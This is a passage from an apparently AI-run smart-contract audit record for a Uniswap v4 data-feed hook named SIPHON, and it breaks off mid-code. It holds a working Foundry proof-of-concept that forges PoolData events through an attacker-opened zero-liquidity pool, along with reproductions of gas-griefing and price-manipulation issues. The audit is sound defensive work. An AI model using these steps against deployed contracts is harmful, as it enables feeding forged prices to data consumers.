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Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"790b8381-75a1-4201-8a4f-f1846beeadb2","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"8fb9903ae00a50252902108fe750e55a592d92f12c52a7e425761b7984a933b2","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"4c6534f85f26b6667f7df7232548f4a57e58bac6995ae58f215782feaeff8f75","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"b72c47db2ed1a333615bbb9405a89d6845364e0317726a9d6c7bbc67c773dc2f","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"b0154b3ac048bc164b75146a66f721ee03f31d7d65131cc8db3cc8f646757da1","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"acd62a8b1620a8d3c88c60de36b5858a1d7ce222e4c7d6b3f5d1e9bd8b7e5eed","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"7f73b8b93dae36a76f91aead6899928cad765e651a30ebe99c7b77f7bc043f22","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"816fe39c7efd64504a19175b0f4dd9186d61069f37a22684c90358a18c60bddc","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"816fe39c7efd64504a19175b0f4dd9186d61069f37a22684c90358a18c60bddc","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"c05737ec2fb7068e07e048f4a9888ff985038335fbd7df8708bdedda54754768","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"e8f869f65dd5ec5c1a55060d6e2b8b38bded1dc87bd68de931ddf264ee5d469a","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"606842ccca0e7c5d3017a54684625438eab9b351eb51dcf0cf88c43d1ea41464","skillId":"write-foundry-tests","subagents":4,"tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"606842ccca0e7c5d3017a54684625438eab9b351eb51dcf0cf88c43d1ea41464","skillId":"write-foundry-tests","state":"accepted"}],"objective":"AfterSwap only. No fee. No TSTORE. No swap execution.\n\nOn every afterSwap:\n1. If anchor != address(0): staticcall getSlot0 (selector 0xc815641c) on anchor pool\n2. Read swap context: amount, direction, fee, liquidity\n3. emit PoolData(block, sqrtPriceSelf, tickSelf, sqrtPriceAnchor, tickAnchor, swapAmount, zeroForOne, feeAmount, liquidity)\n\nOwner can set anchor pool address (starts as address(0), skip read until set). Owner + pause. Under 2KB.\n\nToken name: SIPHON\nToken symbol: SIPH","parentJobId":null,"planHash":"ce1f69a3b41f4a0c7d60e69a26f6da61f664e95ec7157332d06e2d252016c2e8","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"790b8381-75a1-4201-8a4f-f1846beeadb2","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2629-siphon"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52157","feedbackHash":"561c105115f166c56576dfa18836ba0022f7fa4cdde5df7fdca8f78e894fa8e5","nodeKey":"audit_economics","submissionHash":"8fb9903ae00a50252902108fe750e55a592d92f12c52a7e425761b7984a933b2","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52161","feedbackHash":"2d988e5feddfee443d3e395e474e6ef507e2c8dfef5d8191caa04624667ff069","nodeKey":"audit_flow","submissionHash":"4c6534f85f26b6667f7df7232548f4a57e58bac6995ae58f215782feaeff8f75","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51169","feedbackHash":"ab006c97b5eb2ba6b188bf2f339f09e448c8f1e2255327f9a676a50e54c0eeb9","nodeKey":"audit_judge","submissionHash":"b72c47db2ed1a333615bbb9405a89d6845364e0317726a9d6c7bbc67c773dc2f","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52255","feedbackHash":"3fb5e573e992b645dec0aad124c8ae913301140bffb73a3ea10f9e0395bf0964","nodeKey":"audit_judge","submissionHash":"2d28b3558052559c34d9705a94492ceff6da3db0a229503753d73229cdfb51a1","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52609","feedbackHash":"01d54b5dd6bda222deef7993b00a1a65bd36315fd9672ecaf4b1044be7f0a836","nodeKey":"audit_math","submissionHash":"b0154b3ac048bc164b75146a66f721ee03f31d7d65131cc8db3cc8f646757da1","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"53937","feedbackHash":"1c02160019bf225260404b1015f9e46d152f28721c3087676345edad424ae849","nodeKey":"audit_permissions","submissionHash":"acd62a8b1620a8d3c88c60de36b5858a1d7ce222e4c7d6b3f5d1e9bd8b7e5eed","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52130","feedbackHash":"56d9df862196859426e6f06a3cccb42c03c34d56859059ffba407127168066a5","nodeKey":"build_contract_project","submissionHash":"7f73b8b93dae36a76f91aead6899928cad765e651a30ebe99c7b77f7bc043f22","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52190","feedbackHash":"14a62fded97f6ad4fe539a404dd4a525a1c8b087344daf488f4351892b1b85a2","nodeKey":"build_contract_project","submissionHash":"cc948e39dfdf6868a768e677f235e5bddbd7bebfe983d671744a66864e002be9","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"53909","feedbackHash":"a06aa6bd08865da314f45877431cb81f67e6c879cb7bf63cd6ed273843ce24bc","nodeKey":"manifest","submissionHash":"c05737ec2fb7068e07e048f4a9888ff985038335fbd7df8708bdedda54754768","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52292","feedbackHash":"fe227a0a2e5171f30d58de761d7e430d01566414bd9449196705abfe9458232a","nodeKey":"manifest","submissionHash":"b56fd4d4708a0e5e6542e92bbdafcce3debea4a2e21f2b85a45dd45784414a75","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52114","feedbackHash":"f9ff329c17cacc29753e0e3e69a880c1d7c0dd7720c8805189b1f4f90559d464","nodeKey":"write_foundry_tests","submissionHash":"8c064a8769b15424766cfd08c7ee10b1d78ac18809b71f012c16a7d976dd5779","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51487","feedbackHash":"9fd7168623b88b47d989c3335b34cffa85f3e4934431b2d0589427e08551e195","nodeKey":"write_foundry_tests","submissionHash":"e8f869f65dd5ec5c1a55060d6e2b8b38bded1dc87bd68de931ddf264ee5d469a","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"91c3edecead7ddb0ade0944990a5e0d4b0723662cb2ff571c13dba350b0fcd40","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e06554fd2816f9d7","findings":[{"citation":"resolved","description":"Merged from audit_economics, write_foundry_tests, audit_math, audit_permissions and audit_flow (five reports, one root cause). beforeInitialize (line 147) checks only that msg.sender is the PoolManager and returns its selector for every PoolKey, from any initializer, at any currencies, fee, spacing or opening price. afterSwap (lines 155-195) hashes whatever key it is handed, reads that pool's slot0 and liquidity, and emits PoolData (lines 182-192) whose nine fields carry no pool id, currency, fee or sender. PoolManager.initialize is permissionless, so any account can open a second pool that names this hook and swap in it. In a pool with zero liquidity v4's Pool.swap walks the price to sqrtPriceLimitX96 with a zero BalanceDelta, so the attacker needs no tokens at all: for one initialize and one swap of gas, the hook emits PoolData(sqrtPriceSelf = attacker's price, tickSelf, 0, 0, swapAmount, zeroForOne, feeAmount = 0, liquidity = 0) from address(hook) under topic0 keccak256('PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)'), identical in emitter, signature and layout to the launch pool's records. The hook's only product is this event feed, and the documented way to consume it (README 'Data consumers') is to read the hook's PoolData logs; a consumer filtering on (emitter == hook, topic0 == PoolData) ingests attacker-chosen price, tick, liquidity, volume and fee values as the SIPHON pool's. The NatSpec at line 39 says sqrtPriceSelf is 'This pool's sqrtPriceX96', which is meaningless without a pool identity. Only cross-referencing the PoolManager's Swap event in the same transaction attributes a record, and neither the code nor the README tells indexers to do that. The README's 'those pools simply emit PoolData too' documents the mechanism but not its consequence. No funds are at risk and the launch pool's own trading is unaffected, so this is medium: the hook's one guarantee is broken by any account for gas. Fix options that keep the brief's design (measure against the 88 bytes of runtime headroom, 1960 of 2048): (a) take the launch factory as a constructor argument written '$factory' and have beforeInitialize revert unless sender == factory; or record the first pool id seen in beforeInitialize (the factory opens the launch pool in the deployment transaction) and revert on, or skip emission for, any other pool; (b) add an indexed PoolId to the event so consumers can filter, which changes the brief's event and is the requester's call. test_anyoneCanOpenAnotherPoolOnTheHook and test_afterSwapHashesTheKeyItWasGiven in test/SiphonHook.t.sol assert today's open behaviour and need updating under (a).","line":147,"path":"src/SiphonHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, Vm} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {SiphonHook} from \"src/SiphonHook.sol\";\nimport {SiphonToken} from \"src/SiphonToken.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev A router that swaps and settles nothing: the attacker's pool has no liquidity, so the swap\n/// moves the price to the limit and produces a zero delta. No token is ever paid.\ncontract DustSwapper is IUnlockCallback {\n    IPoolManager immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, bool zeroForOne, int256 amountSpecified, uint160 limit) external {\n        manager.unlock(abi.encode(key, zeroForOne, amountSpecified, limit));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (PoolKey memory key, bool zeroForOne, int256 amountSpecified, uint160 limit) =\n            abi.decode(data, (PoolKey, bool, int256, uint160));\n        BalanceDelta d = manager.swap(key, SwapParams(zeroForOne, amountSpecified, limit), \"\");\n        require(d.amount0() == 0 && d.amount1() == 0, \"unexpected delta\");\n        return \"\";\n    }\n}\n\n/// @notice An unprivileged account opens a second pool on the hook and makes it emit `PoolData` with\n/// a price of its choosing, from the hook's address, indistinguishable from the launch pool's records.\ncontract ForgedPoolDataTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.AFTER_SWAP;\n    bytes32 constant POOL_DATA_SIG =\n        keccak256(\"PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)\");\n\n    IPoolManager manager;\n    SiphonToken token;\n    SiphonHook hook;\n    PoolKey launchKey;\n\n    address owner = makeAddr(\"owner\");\n    address factory = makeAddr(\"factory\");\n    address attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.prank(factory);\n        token = new SiphonToken();\n        hook = deployHook();\n\n        launchKey = PoolKey({\n            currency0: Currency.wrap(address(0)),\n            currency1: Currency.wrap(address(token)),\n            fee: 12_500,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        vm.prank(factory);\n        manager.initialize(launchKey, SQRT_PRICE_1_1);\n    }\n\n    function deployHook() internal returns (SiphonHook) {\n        bytes32 initHash = keccak256(abi.encodePacked(type(SiphonHook).creationCode, abi.encode(manager, owner)));\n        for (uint256 i = 0; i < 100_000; i++) {\n            address predicted = vm.computeCreate2Address(bytes32(i), initHash, address(this));\n            if (!HookFlags.matches(predicted, FLAGS)) continue;\n            return new SiphonHook{salt: bytes32(i)}(manager, owner);\n        }\n        revert(\"no salt found\");\n    }\n\n    function test_strangerCannotMakeTheHookEmitPoolDataForAnotherPool() public {\n        // The same two currencies as the launch pool, a different fee tier, opened by anyone, with the\n        // price the attacker wants to publish: SIPH priced at tick -887000 against ETH.\n        PoolKey memory forged = PoolKey({\n            currency0: Currency.wrap(address(0)),\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 10,\n            hooks: IHooks(address(hook))\n        });\n        uint160 start = TickMath.getSqrtPriceAtTick(-887_000);\n        uint160 limit = TickMath.getSqrtPriceAtTick(-886_900);\n\n        vm.recordLogs();\n        vm.startPrank(attacker);\n        DustSwapper router = new DustSwapper(manager);\n        // Neither step costs the attacker a token: the pool has no liquidity, so the swap settles nothing.\n        try manager.initialize(forged, start) {\n            try router.swap(forged, false, -1, limit) {} catch {}\n        } catch {}\n        vm.stopPrank();\n\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n        uint256 forgedRecords;\n        for (uint256 i = 0; i < logs.length; i++) {\n            if (logs[i].emitter != address(hook) || logs[i].topics[0] != POOL_DATA_SIG) continue;\n            forgedRecords++;\n            (uint160 sqrtPriceSelf,,,,,,, uint128 liquidity) =\n                abi.decode(logs[i].data, (uint160, int24, uint160, int24, int256, bool, uint256, uint128));\n            emit log_named_uint(\"forged sqrtPriceSelf\", sqrtPriceSelf);\n            emit log_named_uint(\"forged liquidity\", liquidity);\n            assertEq(sqrtPriceSelf, limit, \"the record carries the attacker's price\");\n            assertEq(liquidity, 0, \"from a pool with no liquidity\");\n        }\n        assertEq(\n            forgedRecords,\n            0,\n            \"the hook emitted PoolData for a pool a stranger opened; a consumer of the hook's event stream cannot tell it from the launch pool's data\"\n        );\n    }\n}","reproduction":"State: hook deployed at an address carrying flags 0x2040 with owner O; the factory has initialized the launch pool PoolKey(ETH, SIPH, 12500, 60, hook) at sqrtPriceX96 79228162514264337593543950336. Attacker A holds no SIPH and no ETH beyond gas. Steps: 1) A calls manager.initialize(PoolKey{currency0: ETH, currency1: SIPH, fee: 3000, tickSpacing: 10, hooks: hook}, TickMath.getSqrtPriceAtTick(-887000)); beforeInitialize returns its selector and the pool opens. 2) From a router inside manager.unlock, A calls manager.swap(thatKey, SwapParams{zeroForOne: false, amountSpecified: -1, sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(-886900)}, ''); the pool has no liquidity, so the delta is (0, 0) and nothing is settled. Expected: the hook emits no PoolData that is not an observation of the launch pool, or the record identifies its pool. Actual: the hook emits one PoolData(block.number, sqrtPriceSelf = 4375761663 (tick -886900), tickSelf = -886900, 0, 0, swapAmount = -1, zeroForOne = false, feeAmount = 0, liquidity = 0) from address(hook) with the launch records' topic0. Verified: all four specialist proofs fail on this tree ('the hook emitted PoolData for a pool a stranger opened ... 1 != 0'); the attached proof is audit_flow's, run with `forge test --match-path test/scratch/Proof_fcd3ff3c210b.t.sol`. The same holds with real liquidity: a junk-token pool seeded with 1e18 and swapped 1e15 exact-input emits a record with the junk pool's price, liquidity 1e18 and feeAmount 1e15*fee/1e6 (write_foundry_tests and audit_permissions proofs, both failing here).","severity":"medium","snippet":"    function beforeInitialize(address, PoolKey calldata, uint160) external view onlyPoolManager returns (bytes4) {\n        return IHooks.beforeInitialize.selector;\n    }","title":"beforeInitialize admits any pool and PoolData names none: an unprivileged account makes the launch hook emit forged PoolData records, from the hook's own address and signature, for gas only"},{"citation":"resolved","description":"Merged from audit_economics (low), write_foundry_tests (low), audit_math (low) and audit_permissions (info): one root cause. The staticcall at line 208 passes gas(), so under EIP-150 the anchor may consume 63/64 of everything afterSwap has left. A normal revert returns unused gas, but an anchor that executes INVALID, loops, writes storage under staticcall (an exceptional halt) or is a pre-0.8 contract whose assert burns gas consumes all of it, leaving the hook, the PoolManager's delta accounting and the router's settlement 1/64 of the swapper's gas limit. Every swap in the launch pool then reverts OutOfGas unless the sender supplies several times the ordinary limit; wallets and routers that estimated gas before the anchor was set, or hard-code it, fail until the owner clears the anchor. The README ('A misconfigured anchor can never halt trading', 'cannot revert swaps') and the NatSpec at line 198 ('a misconfigured anchor can never block a swap') hold only for an unbounded gas limit; the README's trust-assumptions section does admit 'a pathological anchor can make swaps expensive'. The trigger is an owner action (setAnchor is onlyOwner, line 90) and is recoverable by clearing the anchor, and Uniswap's StateView, the recommended anchor, cannot behave this way, so this is low: a griefing and liveness hazard behind a trusted role, plus a documentation error. It becomes unprivileged only if the owner picks an anchor whose code a third party can change. Fix: give the staticcall a fixed stipend, e.g. staticcall(50000, target, p, 36, p, 64); a StateView.getSlot0 (two extsloads) costs well under 10k gas, and the stipend adds only a constant to the runtime. Correct the README to state the bound.","line":208,"path":"src/SiphonHook.sol","reproduction":"State: launch pool PoolKey(ETH, SIPH, 12500, 60, hook) seeded with 1e21 full-range liquidity; a minimal router that swaps and settles from its own balance. Baseline: router.swap{gas: 300000}(key, zeroForOne = true, amountSpecified = -1e18) succeeds and uses 138,716 gas. Owner then calls setAnchor(B, bytes32(1)) where B's fallback is `invalid()` (test/mocks/HostileAnchors.sol GasBurningAnchor). Input: the identical swap with a 300,000 gas limit. Expected (per README and NatSpec line 198): the swap executes and the anchor fields read as zero. Actual: the outer call reverts out of gas; retrying at 100k steps, the swap first succeeds at an 800,000 gas limit, with the surplus burned in the anchor. Measured in test/scratch/JudgeChecks.t.sol test_gasBurningAnchorRevertsOrdinarySwap (logs 'baseline swap gas used: 138716', 'first gas limit at which the swap succeeds: 800000'); audit_math measured the same at a 400,000 limit (anchor frame consuming ~330k, PoolManager.swap ending OutOfGas). With a fixed stipend the 300k swap succeeds and reports zeros.","severity":"low","snippet":"            let ok := staticcall(gas(), target, p, 36, p, 64)","title":"_readAnchor forwards all remaining gas to the owner-set anchor: an anchor that halts exceptionally burns 63/64 of every swap's gas, so swaps at ordinary gas limits revert, contrary to the README's 'ca"},{"citation":"resolved","description":"From audit_flow (info), reproduced. afterSwap discards slot0's protocolFee word (line 167) and reports feeAmount = input * lpFee / 1e6. In v4 Pool.swap (lib/v4-core/src/libraries/Pool.sol lines 286-307 and 384-393) the swap fee is protocolFee + lpFee - protocolFee*lpFee/1e6 and the protocol's share is removed from each step's feeAmount before it is credited to LPs, so the LP fee actually credited is about input * lpFee * (1e6 - protocolFee) / 1e12 and the total fee paid is higher than the reported figure. The README's 'matches v4's per-step fee to within rounding for single-step swaps' holds only while the protocol fee is zero. The protocol fee is capped at 1000 pips per direction and only the PoolManager owner's controller can set it, so the error is at most 0.1% of the fee and outside the hook owner's control: informational. Either document feeAmount as the nominal LP fee, or compute it from the protocolFee word the hook already loads.","line":177,"path":"src/SiphonHook.sol","reproduction":"State: launch pool ETH/SIPH fee 12500 with 1e21 full-range liquidity; the PoolManager owner calls setProtocolFeeController(c) and c calls setProtocolFee(key, 1000 | 1000 << 12). Input: exact-input swap zeroForOne of 1 ether. Expected (per README): feeAmount equals the LP fee credited within rounding. Actual, measured in test/scratch/JudgeChecks.t.sol test_protocolFeeOverstatement from feeGrowthGlobal0 times liquidity and protocolFeesAccrued(ETH): reported feeAmount 12500000000000000; LP fee credited 12487999999999999; protocol fee 1000000000000000. The report is 12000000000000001 wei above the LP fee and 987999999999999 wei below the total fee paid.","severity":"info","snippet":"                feeAmount = input * lpFee / 1_000_000;","title":"feeAmount is input * lpFee / 1e6 and ignores the protocol fee word it already reads, so it overstates the LP fee once a protocol fee is set"},{"citation":"resolved","description":"From audit_economics (info), reproduced; not a code defect as documented. The brief says 'Owner + pause'. afterSwap reads paused only to skip the reads and the emit; the swap itself always completes and the callback still returns (afterSwap.selector, 0). The README calls this a 'documented divergence from \"pause means revert\" if that was intended'. For an observe-only hook this is the safer reading: a hook that reverts in afterSwap freezes the pool's trading, while the factory's zero-liquidity fee collect is unaffected either way since there are no liquidity callbacks. If the requester meant pause to stop trading, afterSwap must revert while paused, which is a scope decision rather than a fix.","line":160,"path":"src/SiphonHook.sol","reproduction":"State: owner calls setPaused(true). Input: router.swap(key, zeroForOne = true, amountSpecified = -1 ether) on the launch pool. Actual (test/scratch/JudgeChecks.t.sol test_pauseDoesNotBlockSwaps, and test_pauseSilencesEmissionButNeverBlocksSwaps in test/SiphonHook.t.sol): the swap executes, the router's ETH balance falls by exactly 1 ether, and no PoolData is emitted. Expected depends on the requester's reading of 'pause'.","severity":"info","snippet":"        if (!paused) {","title":"Pause silences emission but never halts swaps: a possible divergence from the brief's 'Owner + pause', documented in the README, for the requester to settle"},{"citation":"resolved","description":"From audit_permissions (info), reproduced; a trust assumption on the owner, not a bypass. Ownership moves in one call with only a zero-address check and no pending-owner acceptance. A transfer to an address nobody controls leaves the anchor and pause settings fixed for the life of the pool; no other writer exists for owner, anchor or paused. Swaps and the factory's fee collect are unaffected, so the loss is only of the data-feed controls. Two-step transfer (pendingOwner + acceptOwnership) is the usual protection; with 88 bytes of runtime headroom it may not fit, so at minimum the README should tell the owner to verify the address and prefer a multisig (it already recommends one).","line":103,"path":"src/SiphonHook.sol","reproduction":"State: owner O. Input: O calls transferOwnership(X) where X is an address whose key is lost. Actual (test/scratch/JudgeChecks.t.sol test_singleStepOwnership): owner() == X immediately; O's next setPaused(true) reverts NotOwner(); no caller can change anchor or paused again. Expected under a two-step scheme: nothing changes until X accepts.","severity":"info","snippet":"    function transferOwnership(address newOwner) external onlyOwner {\n        if (newOwner == address(0)) revert ZeroAddress();","title":"transferOwnership is single-step: a mistyped newOwner permanently freezes setAnchor and setPaused"},{"citation":"resolved","description":"From audit_economics (info), confirmed by trace; the brief asks for exactly this read, so the code is as specified and the note is for consumers and the README, which does not warn about it. Both prices are slot0 spot values read inside the swap's transaction: the pool's own after the swap (line 167) and the anchor's at the moment of the read (line 180, via the staticcall at line 208). Within one transaction an actor can move the anchor pool's price with a large swap, swap dust in the launch pool so PoolData records the displaced anchor price (and its own displaced post-swap price), then swap the anchor pool back, paying only that pool's fee and slippage. Any downstream logic that prices SIPH from a single PoolData record inherits that manipulation; the hook and its pool lose nothing. The README should say that PoolData is a raw per-swap observation and that consumers must derive time-weighted values across blocks themselves.","line":180,"path":"src/SiphonHook.sol","reproduction":"State: anchor set to a StateView-like contract for a second live pool (test/SiphonHook.t.sol test_anchorReadThroughAStateViewLikeContract shows the read is the anchor pool's current slot0). In one transaction: 1) swap a large amount into the anchor pool, moving its sqrtPriceX96 by the pool's depth; 2) swap 1 wei in the launch pool; 3) swap the anchor pool back. Actual: step 2's PoolData carries the displaced anchor price from step 1, since _readAnchor reads slot0 at that moment. Expected by a naive consumer: a price representative of the block. Cost to the actor: two anchor swaps' fees and slippage; no loss to the hook or its pool.","severity":"info","snippet":"            (uint160 sqrtPriceAnchor, int24 tickAnchor) = _readAnchor();","title":"sqrtPriceAnchor and sqrtPriceSelf are same-transaction spot reads: a record's prices are manipulable by anyone with capital, so PoolData must not be consumed as a price oracle"}],"hash":"2d28b3558052559c34d9705a94492ceff6da3db0a229503753d73229cdfb51a1","nodeId":"c1679cff-c3e0-4233-8f59-fea1ff2dd24f","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds six findings plus a ten-row coverage record. No tracked file was changed; only the scratch tests under `test/scratch/` and the findings file were written.\n\n**What reproduced**\n\n- **Forged PoolData from foreign pools (medium, finding 1).** Five reports from four specialists and the tester all describe the same root cause, so they are merged into one. `beforeInitialize` accepts any pool and `PoolData` carries no pool identity, so a stranger can open an empty pool on the hook and make it emit a record with any price, from the hook's own address and signature, for gas only. All four specialist proofs fail on this tree. I attached the flow specialist's proof, which uses a zero-liquidity swap so the attacker needs no tokens.\n- **Anchor staticcall forwards all gas (low, finding 2).** Four reports merged. My scratch test measured a baseline swap at 138,716 gas. After the owner sets a gas-burning anchor, the same swap reverts at a 300k limit and first succeeds at 800k. This contradicts the README's \"cannot revert swaps\" claim but is owner-triggered and recoverable, so low.\n- **Three informational notes reproduced:** feeAmount ignores the protocol fee (my numbers match the flow specialist's exactly), pause silences emission without halting swaps (a spec question for the requester), and single-step ownership transfer.\n- **One informational note kept by trace:** both prices are same-transaction spot reads, so consumers must not use a single record as an oracle. The brief asks for exactly this read.\n\n**What I dropped or recalibrated**\n\nNothing was dropped. The permissions specialist rated the gas issue info while three others said low. I kept low because the README's guarantee is false at ordinary gas limits.\n\n**Coverage**\n\nAll seven entry points are answered. `afterSwap` is marked finding. The three owner setters and the three token functions hold. The token is unmodified OpenZeppelin 5.4.0 ERC20. Three extra rows record that deployability under the CREATE2 factory model, the manifest, and the no-funds invariant all hold: constructor args and permissions match launch.json, runtime is 1960 bytes, and there are no liquidity callbacks to block the factory's fee collect.","treeHash":null,"usage":{"cachedInputTokens":1152584,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":32995,"runtime":"claude","turns":32,"wallClockMs":430997}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ca075d17c94a854b","findings":[{"citation":"resolved","description":"The hook's only product is the PoolData event stream, and the brief fixes its fields: block, this pool's price/tick, the anchor's price/tick, the swap amount, direction, fee and liquidity. No field identifies the pool. beforeInitialize (src/SiphonHook.sol:147-149) accepts every pool that names this hook, from any sender, at any fee, spacing, currencies or opening price, and afterSwap (src/SiphonHook.sol:155-195) emits the same PoolData for every pool it serves (the pool id it hashes at line 164-165 is used only to read state, never emitted). So anyone can initialize a second pool on the hook (even ETH/SIPH at another fee tier) at an arbitrary sqrtPrice and swap on it with no liquidity: v4's Pool.swap walks the price to sqrtPriceLimitX96 with zero amounts and a zero BalanceDelta, so nothing is settled and no token is needed. The hook then emits PoolData(sqrtPriceSelf = attacker's price, liquidity = 0, swapAmount = -1, ...) from the hook's address with the same signature and topics as the launch pool's records. An indexer that reads the hook's events, which is the documented consumption model (README 'Data consumers'), cannot tell these from genuine launch-pool observations without cross-referencing the PoolManager's Swap event in the same transaction, which the README does not say and the event does not support. This breaks the hook's guarantee that PoolData describes the launch pool, and it is reachable by any account for gas only. The README acknowledges other pools 'simply emit PoolData too' but does not treat the resulting forgeability. The IMD rules allow a hook to restrict initialization to the launch factory via a '$factory' constructor argument, so the fix fits the launch model: in beforeInitialize require sender == factory (or record the first pool id and refuse any other), and keep returning the selector. The event schema itself need not change.","line":147,"path":"src/SiphonHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, Vm} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {SiphonHook} from \"src/SiphonHook.sol\";\nimport {SiphonToken} from \"src/SiphonToken.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev A router that swaps and settles nothing: the attacker's pool has no liquidity, so the swap\n/// moves the price to the limit and produces a zero delta. No token is ever paid.\ncontract DustSwapper is IUnlockCallback {\n    IPoolManager immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function 